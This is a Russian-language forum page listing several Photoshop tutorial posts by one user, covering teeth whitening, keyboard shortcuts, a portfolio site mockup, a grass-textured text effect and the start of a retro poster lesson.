[ Обновленные темы · Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Форум » Ленточный вариант форума
Новые сообщения
tops88Дата: Суббота, 02.08.2014, 16:16 | Сообщение # 31
Форум: Уроки Photoshop | Тема: Отбеливание зубов в Фотошопе (видеоурок)
Постер
Группа: Пользователи
Сообщений: 25
Репутация: 0
Отбеливание зубов – непростая задача для многих людей. В Интернете можно найти множество уроков, в которых описаны бесполезные шаги по отбеливанию зубов, которое с трудом можно назвать реалистичным. Портретная ретушь подразумевает баланс между красотой моделей и естественностью. В этом уроке описан способ отбеливания зубов с сохранением естественного вида.
р е к л а м а
 
tops88Дата: Суббота, 02.08.2014, 16:13 | Сообщение # 32
Форум: Уроки Photoshop | Тема: ШПАРГАЛКА ПО ADOBE PHOTOSHOP
Постер
Группа: Пользователи
Сообщений: 25
Репутация: 0
● Работая с инструментом Move Tool вы можете выбрать любой слой, кликнув по нему с нажатым Ctrl.

● Двойной клик по инструменту Zoom Tool вернет масштаб изображения в 100%, а по инструменту Hand Tool растянет изображение на область экрана.

● Ctr+E сольет текущий слой с нижележащим.

● Чтобы изображение было четко по центру Ctrl+A, Ctrl+X, Ctrl+V.

● Работа с текстом:
Ctrl+H скроет выделение выделеных символов.

Если у Вас выделены символы, сделайте клик в строке выбора типа шрифта и Вы можете использовать стрелки на клавиатуре для выбора типа шрифта.

Alt+стрелка влево или вправо изменит отступ между символами на 10.
Ctrl+Alt+стрелка влево или вправо изменит отступ между сиволами на 100.

Shift+Ctrl+«/span> или изменит размер шрифта на 2pt.

● Ctrl+Alt+T создаст копию объекта, который Вы хотите трансформировать.

● Ctrl+Alt+стрелка вправо, влево, вверх или вниз скоприует текущий слой и сдвинет на 1px.

● Смените активный слой при помощи Alt+[ или ].

● Переместите активный слой вверх или вниз при помощи Ctrl+[ или].

● Чтобы скрыть направляющие Grid, нажмите Ctrl+;.

● Ctrl+[клавиша плюс] увеличит масштаб изображения, Ctrl+[клавиша минус] - уменьшит. Ctrl+Alt+[клавиша плюс] увеличит масштаб и размер окна, тоже самое для Ctrl+Alt+[клавиша минус].

● Если выбран инструмент Brush Tool, управлять диаметром кисти можно по средствам кнопок [ и ].

● Нажмите X для перключения цвета переднего плана и фона местами.

● Нажмите D чтобы сбросить настройки цветов для переднего плана и фона в цвета по умолчанию: черный и белый.

● Чтобы отобразить палитру с настройками Brushes, нажмите F5.

● Чтобы отобразить палитру Layers, нажмите F7.

● Ctrl+клик по иконке слоя на палитре слоев создаст выделение содержимого слоя.

● Если хотите увидеть содержимое маски слоя, то зажмите Alt и сделайте клик по маске слоя.

● Alt+клик по иконке создания маски для слоя создаст черную маску.

● Когда используете Polygonal Lasso Tool, зажмите Shift, чтобы создать прямые под углом с шагом в 45 градусов.

● Для лучшей организации слоев - сгруппируйте выделенные, нажав Ctrl+G.

● Ctrl+Shift+N создаст новый файл, с выводом диалогового окна; Ctrl+Shift+Alt+N создаст новый слой в рабочем файле.

● Вернемся к кистям, клавиши [ и ] уменьшают и увеличивают диаметр кисти, а Shift+[ или ] изменят жесткость кисти.

● Нажмите Alt, чтобы Burning Tool стал выполнять функцию Dodge Tool, и наоборот.

● Stamp Tool клонирует участки изображения (Alt+клик - для определения участка для копирования). Это также работает, если в фотошоп открыто несколько изображений и Вы можете также клонировать любые участки из других изображений, достаточно лишь расположить изображения в пределах видимости на экране.

● Ctrl+клик по иконке слоя создает выделение объекта на этом слое. Если необходимо выделить более чем 1 объект на нескольких слоях, удерживайте дополнительно еще и Shift.

● Чтобы объединить палитры в одной, потяните за ярлычек любой вкладки на другую палитру к другим ярлычкам и она переместится.

● Когда создаете текст, нажате на Enter создает новую строку, чтобы закончить писать нажмите Ctrl+Enter или Enter на цифровой клавиатуре.

● Вы можете переместить слой на любое другое открытое изображение в фотошоп, т.о. создастся копия слоя. Удерживайте при перетаскивании нажатой Shift и содержимое слоя вставится четко по центру.

● Используя инструмент Polygonal Lasso Tool, нажмите Backspace, чтобы отменить последний шаг.

● Как выбрать группу слоев не используя палитру слоев? Как выделить один слой мы знаем из пункта 81, а добавить еще один слой в группу можно зажав Ctrl+Shift и сделав клик по части объекта, расоложенному на другом слое.

● Удалить сразу несколько слоев можно простым пертаскиванием группы слоев на иконку корзины на палитре слоев, как выбрать группу знаем из пункта 82.

БОНУС:

● Создайте новый документ в Photoshop размером 500х500px, создайте новый слой, возьмите инструмент Brush Tool, кисть возмите стандартную круглую, любого диаметра и поставьте точку вверху по центру (позиция как в часах у 12). Нажмите Ctrl+Alt+T, это создаст копию точки и позволит ее трансформировать. Потяните за точку в центре трансформируемого объекта Pivot Point и установите ее четко по центру изображения, вверху впишите угол повора 30 градусов и нажмите Ок. А теперь трюк.... Нажмите Ctrl+Shift+Alt+T 10 раз и Вы увидите что получится!
р е к л а м а
 
tops88Дата: Суббота, 02.08.2014, 16:11 | Сообщение # 33
Форум: Уроки Photoshop | Тема: Строгий дизайн для портфолио в Фотошоп
Постер
Группа: Пользователи
Сообщений: 25
Репутация: 0
Итоговый результат:

Исходники к уроку:
  • Иконки
  • 960 Grid System
    Шаг 1. Создание структуры сайтаДля начала скачайте 960 grid system. Откройте файл "960_download\templates\photoshop\960_grid_12_col.psd". Нажмите Ctrl+Shift+C, чтобы изменить размер холста.

    Используя инструмент Заливка  (Paint Bucket Tool) залейте фоновый слой цветом #242b30. Теперь Вам нужно создать папки для каждой части сайта.

    Шаг 2. Создание шапки сайтаСоздайте новую папку и назовите её "Header". Перейдите в  Вид > Новая направляющая (View > New Guide), в появившемся окне выберите Ориентация (Orientation) - Горизонтальная (Horizontal), и в поле Позиция (Position) введите 100px.

    Выберите инструмент Прямоугольная область  (Rectangular Marquee Tool), создайте выделение, как показано на скриншоте ниже, и залейте его белым (#FFFFFF) цветом.

    Добавьте стили слоя:

    Наложение градиента (Gradient Overlay):
    - линейный градиент;
    - угол 90;
    - #171c20;
    - #22292f;

    Обводка (Stroke):
    - #0d1012;


    Шаг 3. Создание логотипаСоздайте папку "Logo", внутри папки "Header". Выберите инструмент Текст  (Type Tool) и напишите своё название сайта, с теми же настройками, что и на скриншоте ниже.

    Добавьте стили слоя:


    Наложение градиента (Gradient Overlay):
    - линейный градиент;
    - угол: 90;
    - #929292;
    - #bcbdbd, Позиция (Location): 30%;
    - #dfdfdf, Позиция (Location): 50%;
    - #dfdfdf, Позиция (Location): 100%;


    Теперь создайте новый слой, назовите его "Light " и поместите его под текстовым слоем. Создайте выделение, как показано на скриншоте ниже.

    Установите цвет переднего плана на белый (#FFFFFF). Выберите инструмент Кисть  (Brush Tool), в параметрах кисти выберите кисть с теми же параметрами, что и на скриншоте ниже.

    Создайте такое же осветление, как и на скриншоте.

    Установите Непрозрачность (Оpacity) на 80% и режим наложения измените на Мягкий свет (Soft Light).

    Шаг 4. Создание навигацииСоздайте папку "Navigation" внутри папки "Header". Выберите инструмент Текст  (Type Tool) и создайте несколько пунктов меню, со следующими настройками:

    Я выделил ссылку "Home", потому что это активная ссылка. Для остальных ссылок я использовал цвет #b6aefd. Для активной ссылки добавьте следующие стили:

    Наложение цвета (Color Overlay):
    - #232a2f;

    Создайте новый слой и поместите его под слой с активной ссылкой. Возьмите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool) и установите радиус скругления в 5px.

    Добавьте следующие стили:


    Наложение градиента (Gradient Overlay):
    - линейный градиент;
    - угол: 90;
    - #929292;
    - #bcbdbd, Позиция (Location): 30%;
    - #dfdfdf, Позиция (Location): 50%;
    - #dfdfdf, Позиция (Location): 100%;

    Обводка (Stroke):
    - #13181b;

    Шаг 5. Создание слайд-шоуСоздайте новую направляющую (Вид > Новая направляющая (View > New Guide)). Ориентация (Orientation) - Горизонтальная (Horizontal), Позиция (Position) - 140px. Повторите действия и создайте ещё одну направляющую, позиция - 440px.
    Создайте новую папку - "Slideshow". Выберите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool), радиус - 5px, и создайте прямоугольник, как на скриншоте ниже, залейте цветом - #171c20.

    Добавьте стили слоя:

    Создайте выделение для слоя, перейдите в Выделение > Модификация > Сжать (Selection > Modify > Contract) и сожмите выделение на 5px. Создайте 4 новых направляющих и перетащите к краям выделения.

    Выберите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool) с радиусом в 5px. Цвет я выбрал - #36414a. На самом деле, цвет для этой формы не имеет значения, т.к. это будет подложка для изображений.

    Добавьте стили слоя:

    Внутреннее свечение (Inner Glow):
    - #424f5a;

    Обводка (Stroke):
    - #111417;


    Внутри папки "Slideshow" создайте папку "divider". Выберите инструмент Прямоугольное выделение ( Rectangular Marquee Tool). Создайте две 1 пиксельные вертикальные линии. Цвет первой - #111417. Цвет второй - #424f5a.

    Мы разделим слайд-шоу на 2 части. В левую часть мы поместим описание к картинке, из правой части, и две кнопки. Внутри папки "Slideshow" создайте папку "left". Выберите инструментПрямоугольник со скруглёнными углами  (Rounded Rectangle Tool), радиус - 5px. Создайте прямоугольник внутри подложки.

    Добавьте стили слоя:
    Наложение градиента (Gradient Overlay):
    - Стиль: линейный;
    - #242b31;
    - #36414a;


    Создайте новый слой "header". Возьмите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool), создайте прямоугольник и поместите его так же, как на скриншоте ниже.

    Добавьте следующие стили слоя:
    Внутреннее свечение (Inner Glow):
    - #424f5a;

    Наложение градиента (Gradient Overlay):
    - Стиль: линейный;
    - #21282d;
    - #2f3840;

    Обводка (Stroke):
    - #111417;


    Теперь добавьте свой заголовок, используя инструмент Текст  (Type Tool). (Цвет - #171c20; Отступ - 20px)

    Дублируйте слой с текстом и сместите на 1 пиксель вниз. Добавьте стили слоя:
    Наложение градиента (Gradient Overlay):
    - Стиль: линейный;
    - #d4d4d4;
    - #ffffff;


    С помощью инструмента Текст  (Type Tool) добавьте описание.

    Внутри папки "Slideshow" создайте папку "Read more". Возьмите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool). Создайте прямоугольник и поместите так же, как на скриншоте ниже. Выберите инструмент Текст  (Type Tool) и напишите "Read more", цвет - #dedede.

    Создайте папку "prev_next". Выберите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool). Создайте и поместите прямоугольник так же, как и на скриншоте ниже.

    Добавьте стили слоя:



    Наложение градиента (Gradient Overlay)::
    - Стиль: линейный градиент;
    - угол: 90;
    - #929292;
    - #bcbdbd, Позиция (Location): 30%;
    - #dfdfdf, Позиция (Location): 50%;
    - #dfdfdf, Позиция (Location): 100%;

    Обводка (Stroke):
    - #161b1f;


    Выберите инструмент Произвольная фигура  (Custom Shape Tool) и выберите такую же стрелку, как и на скриншоте ниже.

    Поместите её, как на скриншоте ниже:

    Добавьте стили слоя:

    Наложение градиента (Gradient Overlay)::
    - Стиль: линейный градиент;
    - угол: 90;
    - #21282d;
    - #2f3840, Позиция (Location): 50% и 100%;


    Теперь возьмите какую-нибудь картинку и поместите её в правую часть слайд-шоу.

    Выберите инструмент Перо  (Pen Tool) и создайте такую же форму, как на рисунке ниже, залейте её чёрным (#000000) цветом.

    Перейдите в Фильтр > Размытие > Размытие по Гауссу (Filter > Blur > Gaussian Blur) радиус размытия установите 5px. Непрозрачность (Оpacity) установите на 80%.

    Шаг 6. Создание блока "What I Do"Выберите инструмент Текст  (Type Tool), напишите свой заголовок и поместите так же, как и на скриншоте ниже.

    Добавьте стили слоя:

    Наложение градиента (Gradient Overlay):
    - Стиль: линейный градиент;
    - #d4d4d4;
    - #ffffff;

    Внутри папки "What I Do" создайте 4 папки: "I Capture Smiles", "I Design Websites", "Awards I Receive" и "I love to Socialize". С помощью инструмента Текст (Type Tool) напишите какой-нибудь текст для каждого блока. Для заголовков я использовал следующие настройки: Цвет - #dfdfdf; Размер - 18pt. Для описания: Цвет - #dfdfdf; Размер - 12pt. Стили для кнопки "Read more" те же, что и у кнопки в Слайд-шоу. Размер блока - 220px.

    Если Вы выполнили предыдущий шаг, то у Вас должно уже получится что-то вроде этого:

    Шаг 7. Создание разделителяВнутри папки "Divider" создайте новую папку "lines". Чтобы сделать разделитель воспользуйтесь инструментом Линия  (Line Tool). Цвет первой линии - #111417. Цвет второй - #364148.

    Выберите инструмент Прямоугольник  (Rectangle Tool), создайте и поместите прямоугольник так же, как на скриншоте ниже. Заливку (Fill) уменьшите до 0%.

    Добавьте стили слоя:


    Дублируйте слой и измените стиль Наложение градиента (Gradient Overlay).

    Цвет градиента - #242b30;


    Шаг 8. Создание блока "About Me"Внутри папки "About Me" создайте новый слой, выберите инструмент Текст  (Type Tool) и добавьте заголовок и описание. Используйте те же настройки, что и в блоке "What I Do".

    Шаг 9. Создание блока "My Portfolio"Внутри папки "My Portfolio" создайте новый слой, и с помощью инструмента Текст  (Type Tool) напишите свой заголовок.

    Выберите инструмент Прямоугольник ( Rectangle Tool) и поместите прямоугольник, как показано на скриншоте ниже.

    Добавьте стили слоя:

    Обводка (Stroke):
    - #161b1f;

    Поместите своё изображение тем же способом, что и в слайд-шоу.

    Теперь, добавьте описание, для этого возьмите инструмент Текст  (Type Tool) и напишите описание так, как показано на скриншоте ниже.

    Шаг 10. Создание футераСоздайте новый слой, внутри папки "Footer". Выберите инструмент Прямоугольник  (Rectangle Tool), цвет - #171c20, создайте прямоугольник (Высота - 50px) и поместите так же, как на скриншоте.

    Добавьте стили слоя:
    Внешнее свечение (Outer Glow):
    - #111417;

    Обводка (Stroke):
    - #364148;

    Добавьте свои копирайты в левой части футера и несколько ссылок в правой.

    Шаг 11. Добавление фонового свеченияВыберите папку "Background" и внутри неё создайте 2 слоя и назовите их "Slideshow_light" и "whatido_light". Выберите слой "Slideshow_light", возьмите инструмент Прямоугольная область ( Rectangular Marquee Tool) и создайте выделение, как показано на скриншоте ниже.
    Чтобы создать свечение выберите инструмент Кисть  (Brush Tool), размер - 700, жёсткость (hardness ) 0%. Создайте свечение, как показано на скриншоте ниже. В режиме наложения выберите Мягкий свет (Soft Light), Непрозрачность (Оpacity) 70%.


    У Вас должен будет получится такой же эффект:

    Выберите слой "whatido_light". Возьмите инструмент Прямоугольная область  (Rectangular Marquee Tool) и создайте выделение, как на скриншоте ниже.


    Режим наложения измените на Мягкий свет (Soft Light) и Непрозрачность (Оpacity) уменьшите до 70%. Создайте свечение, как на скриншоте ниже.

    Вот и всё! Надеюсь, Вы узнали что-то новое в этом уроке, и, надеюсь, Вам понравился этот урок!
    Итоговый результат:
    р е к л а м а
  •  
    tops88Дата: Суббота, 02.08.2014, 16:10 | Сообщение # 34
    Форум: Уроки Photoshop | Тема: Играем в текст на траве в Фотошоп
    Постер
    Группа: Пользователи
    Сообщений: 25
    Репутация: 0
    Конечный результат

    В этом уроке вы узнаете, как создать эффект футбольного текста, используя базовые стили слоёв и пару текстур. Давайте начнём!
    В уроке были использованы такие материалы.
  • Шрифт Lobster (Ссылка на скачивание Lobster 1.3)
  • Белая текстура, созданная пользователем Dmitriy
  • Картинка травы (Изображение 4 - средний 1600x1067)
  • Земляной утес (Изображение 1 - маленький 1024х193)
  • Земля (Изображение 1 - маленький 640х640)
    1. Создаем фонШаг 1
    Создайте новый документ размером 1000 х 1000 px, установите его разрешение на 300.
    Установите основной цвет на #d9d9d9 и фоновый цвет на #818181. Выберите инструмент Градиент, установите заливку "От основного к фоновому" (Foreground to Background gradient fill) и кликните на иконку радиального градиента (Radial Gradient).
    После этого кликните немного ниже правого верхнего угла и перетащите мышку в левый нижний угол, чтобы создать фоновый градиент, затем дублируйте фоновый слой, используя Ctrl + J.

    Шаг 2
    Дважды кликните на копию фонового слоя, примените эффект Наложение узора (Pattern Overlay), измените Режим наложения (Blend Mode) на Умножение (Multiply), Непрозрачность(Opacity) на 70% и установите узор с белой текстурой.

    Шаг 3
    Это добавит едва различимую текстуру к фону.

    2. Создаем и оформляем текстШаг 1
    Создайте текст, используя шрифт Lobster 1.3, цвет #3f3f3f и размер 70 pt.

    Шаг 2
    Дублируйте слой с текстом, используя Ctrl + J. К новой копии примените стили, указанные ниже.

    Шаг 3: Тиснение (Bevel and Emboss)
    Размер (Size): 3
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.

    Шаг 4: Контур (Contour)
    КонтурПолукруг (Half Round)
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.

    Шаг 5: Тень (Drop Shadow)
    Смещение (Distance): 1
    Размер (Size): 1

    Шаг 6
    Мы получим такой результат.

    3. Конвертируем текст в фигуру и изменяем ее параметрыШаг 1
    Выберите слой с оригинальным текстом и выберите Шрифт > Преобразовать в кривые (Type > Convert to Shape). Также команда может называться Шрифт > Преобразовать в фигуру.

    Шаг 2
    На панели опций (Options bar) найдите кнопку Операции с контуром (Path opeartions), после чего кликните на Объединить компоненты фигуры (Merge Shape Components). Это упростит применение эффектов в дальнейшем.

    Шаг 3
    Выберите инструмент Выделение контура (Direct Selection Tool) и на панели опций (Options bar) установите цвет штриха (Stroke color) на #e0e1e3размер (Size) на 3, после чего кликните на Параметры обводки (Stroke Options) и установите Выравнивание на Снаружи (Align > Outside).

    Шаг 4
    Дублируйте слой с фигурой и поместите его над текстовым слоем. Перейдите в Слои > Растрировать > Фигуру (Layer > Rasterize > Shape), измените параметр Заливки (Fill) на 0.

    Шаг 5
    Снова дублируйте слой с фигурой, перетащите копию под оригинал и измените цвет Заливки (Fill) и Штриха (Stroke) на #000000.

    Шаг 6
    Переименуйте копию слоя в Тень текста, перейдите в Слои > Растрировать > Фигуру (Layer > Rasterize > Shape) и сделайте слой невидимым, кликнув на иконку глаза рядом с ним.

    4. Оформляем слой с внешним штрихом формыДважды кликните на оригинальный слой с формой (тот, что над слоем Тень текста) и примените такие стили.
    Шаг 1: Тиснение (Bevel and Emboss)
    Размер (Size): 1
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.
    Режим тени > Непрозрачность (Shadow Mode > Opacity): 35%

    Шаг 2: Контур (Contour)
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.

    Шаг 3: Тень (Drop Shadow)
    Тень (Drop Shadow) применяется если вы не хотите добавлять траву под текстом. Однако, если вы захотите ее добавить, просто снимите галочку с эффекта тени для более реалистичного результата. Непрозрачность (Opacity): 35%
     

    Шаг 4
    Вот такой результат мы получим.

    5. Оформляем кожаную текстуру поверх текстаДважды кликните на растрированном слое (над текстовым слоем) и примените такие эффекты.
    Шаг 1: Тиснение (Bevel and Emboss)
    Размер (Size): 1
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.
    Режим подсветки (Highlight Mode): Линейный свет (Linear Light)
    Непрозрачность (Opacity): 100%
    Режим тени > Непрозрачность (Shadow Mode > Opacity): 35%

    Шаг 2: Контур (Contour)
    Галочка Сглаживание (Anti-Aliased) должна быть установлена.

    Шаг 3: Текстура (Texture)
    Узор (Pattern): Белая текстура
    Масштаб (Scale): 25%

    Шаг 4
    Проделанные шаги оформят верхний слой и придадут тексту эффект кожи.

    6. Создаем основной прямоугольник травыШаг 1
    Выберите инструмент Прямоугольник  (Rectangle Tool) и создайте белый прямоугольник за текстом (под слоем Тень текста).

    Шаг 2
    Выберите инструмент Выделение контура  (Direct Selection Tool) и перетяните два верхних угла прямоугольника.

    Шаг 3
    Перейдите в Редактирование > Трансформирование контура > Перспектива (Edit > Transform Points > Perspective) и перетяните нижний край прямоугольника влево. Кнопка Alt позволит перетянуть и другую сторону. Это создаст иллюзию 3D перспективы. Когда вы закончили, нажмите кнопку Enter, чтобы подтвердить изменения.

    7. Добавляем текстуру травыШаг 1
    Разместите скачанное изображение травы над слоем с белым прямоугольником, после чего перейдите в меню Редактирование > Трансформирование контура > Перспектива (Edit > Transform Points > Perspective), кликните и перетяните один из верхних углов, чтобы переместить их внутрь, затем кликните на кнопку Enter.

    Шаг 2
    Кликните правой кнопкой мыши на слой с текстурой травы и выберите Создать обтравочную маску (Create Clipping Mask). Вы можете использовать инструмент Перемещение  (Move Tool), чтобы расположить текстуру нужным образом.

    Шаг 3
    Выберите инструмент Кисть  (Brush Tool), откройте панель кистей (Brush panel), выберите кисть №112 и установите настройки как показано на рисунке.
    После того как вы закончили с настройками, кликните на иконку Новая кисть (Create new brush) на панели кистей и введите имя новой настройки. Это поможет нам в дальнейшем.

    Форма отпечатка кисти (Brush Tip Shape)

    Динамика формы (Shape Dynamics)

    Рассеивание (Scattering)

    Динамика цвета (Color Dynamics)

    Передача (Transfer)
    8. Потрепаем травуШаг 1
    Используйте инструмент Выделение контура (Direct Selection Tool), чтобы выбрать контрольные точки прямоугольника с травой, после чего перейдите в меню Редактирование > Скопировать (Edit > Copy).

    Шаг 2
    Создайте новый слой над слоем с текстурой травы, назовите его Штрих травы, после чего перейдите в меню Редактирование > Вставить (Edit > Paste). Это создаст рабочий путь в документе.

    Шаг 3
    Снова выберите инструмент Кисть  (Brush Tool), установите основной цвет на #232d05 и фоновый цвет на #7b892a. Нажмите кнопку Enter 3 раза, чтобы "заштриховать" рабочий путь кистью с травой, после чего выберите инструмент Выделение контура (Direct Selection Tool) и нажмите кнопку Enter еще раз, чтобы избавиться от контура.

    Шаг 4
    Удерживая нажатой кнопку Ctrl, кликните по миниатюре слоя с прямоугольником, чтобы создать выделение.

    Шаг 5
    Перейдите в меню Выделение > Модификация > Сжать (Select > Modify > Contract) и введите значение 2. Это сожмет выделение на 2 пикселя внутрь.

    Шаг 6
    Перейдите в меню Выделение > Уточнить край (Select > Refine Edge), установите галочку "Умный" радиус (Smart Radius) и измените значение радиуса (Radius) на 3.

    Шаг 7
    Нажмите кнопку Delete, чтобы удалить выделенную часть, после чего зайдите в меню Выделение > Отменить выделение (Select > Deselect). Это поможет смешать контур травы с самой текстурой.

    Шаг 8
    Выберите инструмент Осветлитель  (Dodge Tool) и на панели опций (Options bar) выберите Мягкую круглую кисть (Soft Round brush) размером 65 px и жесткостью (Strenght) 50%, установите Диапазон на Средние тона (Range > Mildtones).
    После этого начните осветлять контур в тех местах, где он контактирует со светлыми участками текстуры. Это поможет сделать изображение еще естественнее.

    9. Добавляем землюШаг 1
    Выберите инструмент Прямоугольник  (Rectangle Tool) и создайте еще один белый прямоугольник под травой. Используя те же инструменты, что и в предыдущих шагах, выберите две нижних точки и трансформируйте их внутрь.

    Шаг 2
    Разместите текстуру земляного утеса (SoilCliff0027_1_S) над маленьким прямоугольником, но убедитесь, что наверху осталось немного травы.

    Шаг 3
    Удерживая нажатой кнопку Ctrl, кликните по миниатюре слоя с маленьким прямоугольником, чтобы создать выделение, после чего нажмите Ctrl + J, чтобы дублировать этот слой. Удалите оригинальный слой с текстурой земляного утеса.

    Шаг 4
    Скопируйте рабочий путь маленького прямоугольника (как в пункте 8) и вставьте его на слой с текстурой земляного утеса. Установите основной цвет на #6a492b и фоновый цвет на #4e3118, после чего "потрепайте" контур 2-3 раза той же травяной кистью. Не забудьте убрать всё выделение.

    Шаг 5
    Разместите текстуру земли (SoilSand0046_1_s) под слой с текстурой земляного утеса (SoilCliff0027_1_S) и перейдите в меню Редактирование > Трансформирование> Перспектива (Edit > Transform > Perspective), чтобы переместить нижние края внутрь.

    Шаг 6
    Кликните правой кнопкой мыши на слое с землей и выберите Создать обтравочную маску (Create Clipping Mask), после чего измените Режим наложения (Blend Mode) на Умножение(Multiply).

    Шаг 7
    Дважды кликните на обтравочный слой земли (слева от него есть стрелка) и примените Наложение градиента (Gradient Overlay), установив Режим наложения (Blend Mode) на Мягкий свет(Soft Light) и используя градиент от белого к черному.

    Шаг 8
    Пока окно Стиль слоя (Layer Style) еще открыто, кликните на градиент на документе и перетащите его, чтобы получилось темнее наверху и светлее внизу.

    Шаг 9
    Вот такую грязь мы получим после проделанных шагов.

    10. Добавляем тень и разбросанную землюШаг 1
    Выберите инструмент Кисть ( Brush Tool), активируйте Мягкую круглую кисть (Soft Round Brush) размером 150 px, установите основной цвет на #a1a1a, сделайте слой с маленьким прямоугольником невидимым, создайте новый слой над ним, назовите его Тень и измените Режим наложения (Blend Mode) на Линейный свет (Linear Light).
    Разместите кисть на левом переднем краю прямоугольника так, чтобы ее центр был в середине земляной части, кликните, удерживая нажатой клавишу Shift и перетяните мышь к правому переднему углу, чтобы создать тень.

    Шаг 2
    Выберите инструмент Ластик  (Eraser Tool), активируйте Мягкую круглую кисть  (Soft Round Brush) и сотрите лишнюю тень слева и справа.

    Шаг 3
    Снова выберите инструмент Кисть  (Brush Tool), активируйте кисть №11 и укажите настройки как на рисунках ниже.

    Форма отпечатка кисти (Brush Tip Shape)

    Динамика формы (Shape Dynamics)

    Рассеивание (Scattering)

    Динамика цвета (Color Dynamics)
    Шаг 4
    Установите основной цвет на #6a492b и фоновый на #4e3119, создайте новый слой под слоем с тенью, назовите его Разброс и вдоль тени нарисуйте немного крошек земли.

    11. Добавляем траву перед текстом; Работаем с теньюШаг 1
    Выберите инструмент Штамп ( Stamp Tool), выберите слой с текстурой травы, удерживая нажатой кнопку Alt кликните в том месте, где последняя буква встречается с травой.

    Шаг 2
    Создайте новый слой над всеми остальными, назовите его Трава. С еще выделенным инструментом Штамп ( Stamp Tool), выберите модифицированную травяную кисть и нарисуйте немного травы внизу текста.

    Шаг 3
    Выберите слой Тень текста и сделайте его видимым, кликнув на пустое место, где должен быть глаз, после этого перейдите в меню Редактирование > Трансформирование> Перспектива(Edit > Transform > Perspective) и переместите верхние края внутрь.

    Шаг 4
    Перейдите в меню Редактирование > Трансформирование> Искажение (Edit > Transform > Distort), после чего перетяните верхнюю сторону вниз, разместив тень на траве. Вы можете также перемещать углы, чтобы получить более приятный результат. Когда вы закончили нажмите кнопку Enter, чтобы применить изменения.

    Шаг 5
    Измените Режим наложения (Blend Mode) слоя Тень текста на Умножение (Multiply), а Непрозрачность (Opacity) на 50%.

    Шаг 6
    Перейдите в меню Фильтр > Размытие > Размытие по Гауссу (Filter > Blur > Gaussian Blur) и установите Радиус (Radius) на 5.

    12. Финальные штрихиШаг 1
    Удерживая нажатой кнопку Ctrl, кликните по миниатюре слоя с большим прямоугольником, выделив его, создайте новый слой под Тень текста, назовите его Центр, измените его Режим наложения (Blend Mode) на Линейный свет (Linear Light) и установите основной цвет на #a1a1a1.

    Шаг 2
    Выберите инструмент Кисть ( Brush Tool), активируйте круглую кисть размером 35 px и Жесткостью (Hardness) 90%. Кликните на середину верхней грани прямоугольника и удерживая нажатой клавишу Shift протяните вниз.

    Шаг 3
    Измените Размер кисти (Brush Size) на 200 pxФорму (Roundness) на 50%, затем нарисуйте эллипс в центре прямоугольника.

    Шаг 4
    Выберите инструмент Ластик  (Eraser Tool), активируйте Круглую кисть (Round Brush), Измените Размер кисти (Brush Size) на 150 pxФорму (Roundness) на 90%, после чего кликните на середину созданного в предыдущем шаге эллипса, чтобы стереть его центр.

    Шаг 5
    Кликните на иконку Создать новый корректирующий слой или слой-заливку (Create new fill or adjustment layer) внизу панели слоев (Layers panel) и выберите Карта градиента (Gradient map).

    Шаг 6
    Разместите новый слой над всеми остальными, измените его Режим наложения (Blend Mode) на Умножение (Multiply) и Непрозрачность (Opacity) на 3%. Для градиента используйте цвета#2c1f12 слева и #deaf41 справа. Это немного откорректирует цвет финального изображения.

    Шаг 7
    Не забудьте убрать эффект тени для внешней штриховки (шаг 4.3).

    Готово!

    В этом уроке вы узнали, как создать текст в футбольном стиле, используя несколько простых техник и инструментов Photoshop. Мы начали с простого текста, затем добавили к нему немного эффектов, траву и в конце придали еще более реалистичный вид. Надеюсь вы узнали что-то новое и сможете применить эти техники в своих дальнейших работах.
    Поделитесь со всеми результатом своих трудов!
    р е к л а м а
  •  
    tops88Дата: Суббота, 02.08.2014, 16:08 | Сообщение # 35
    Форум: Уроки Photoshop | Тема: Делаем ретро постер в Фотошоп
    Постер
    Группа: Пользователи
    Сообщений: 25
    Репутация: 0
    В этом уроке вы узнаете, как создать яркий ретро постер в программе Photoshop, используя стоковые изображения, текстуры, а также фильтры. В этом уроке мы рассмотрим технику работы с инструментом Перо, включая работу с коррекцией Изогелия, чтобы отделить основное изображение модели от заднего фона. Вы также получите море позитива от использования Карты Градиента, чтобы придать своим работам Винтажный эффект, используя программу Photoshop.
    Итоговый результат

    Исходные материалы:
  • Набор текстур Darkroom IV
  • Модель
  • Шрифт Damn Noisy Kids
  • Текстура Старой книги
  • Альтернативное изображение:
    Текстура Старой книги 1,
    Текстура Старой книги 2,
    Текстура Старой книги 3
    ШАГ 1. Новый документДавайте вначале откроем программу Photoshop и создадим новый документ, Я выбрал формат A4 (2480 x 3508px), цвет заднего фона белый.


    ШАГ 2. Добавляем текстуру на задний фонДля заднего фона я использовал текстуру Darkroom. Набор текстур Darkroom IV вы можете скачать по ссылке вначале этого урока. Как только вы скачали набор текстур, откройте одну из текстур, а затем переместите на наш рабочий документ. Для масштабирования или поворота текстуры, используйте инструмент Свободная Трансформация (Free Transform Tool (Ctrl+T). Назовите слой с текстурой “Текстура Darkroom”.

    Далее, мы добавим корректирующий слой Карта Градиента (Gradient Map) к слою с текстурой, Я использую программу Photoshop CS4, поэтому, я использовал Карту Градиента (Gradient Map) через закладку в палитре слоёв. Цвета градиента голубой и зелёный. Далее, преобразуйте данный корректирующий слой в обтравочную маску к слою с текстурой (щёлкните правой кнопкой по корректирующему слою Карта Градиента (Gradient Map) и в появившемся окне, выберите опцию Создать обтравочную маску (Create Clipping Mask).



    Если вы используете предыдущую версию программы Photoshop, просто примените коррекцию Карты Градиента (Gradient Map) к слою с текстурой, идём Изображение – Коррекция – Карта Градиента (Image - Adjustments - Gradient Map).
     
    ШАГ 3. МодельВ этом шаге мы добавим изображение модели к нашей сцене. Скачайте стоковое изображение модели по ссылке вначале этого урока. Откройте изображение модели в программе Photoshop. Далее, отделите изображение модели от заднего фона, используя технику выделения с которой вам удобнее работать, при выделении модели, я использовал инструмент Перо (Pen Tool (P).
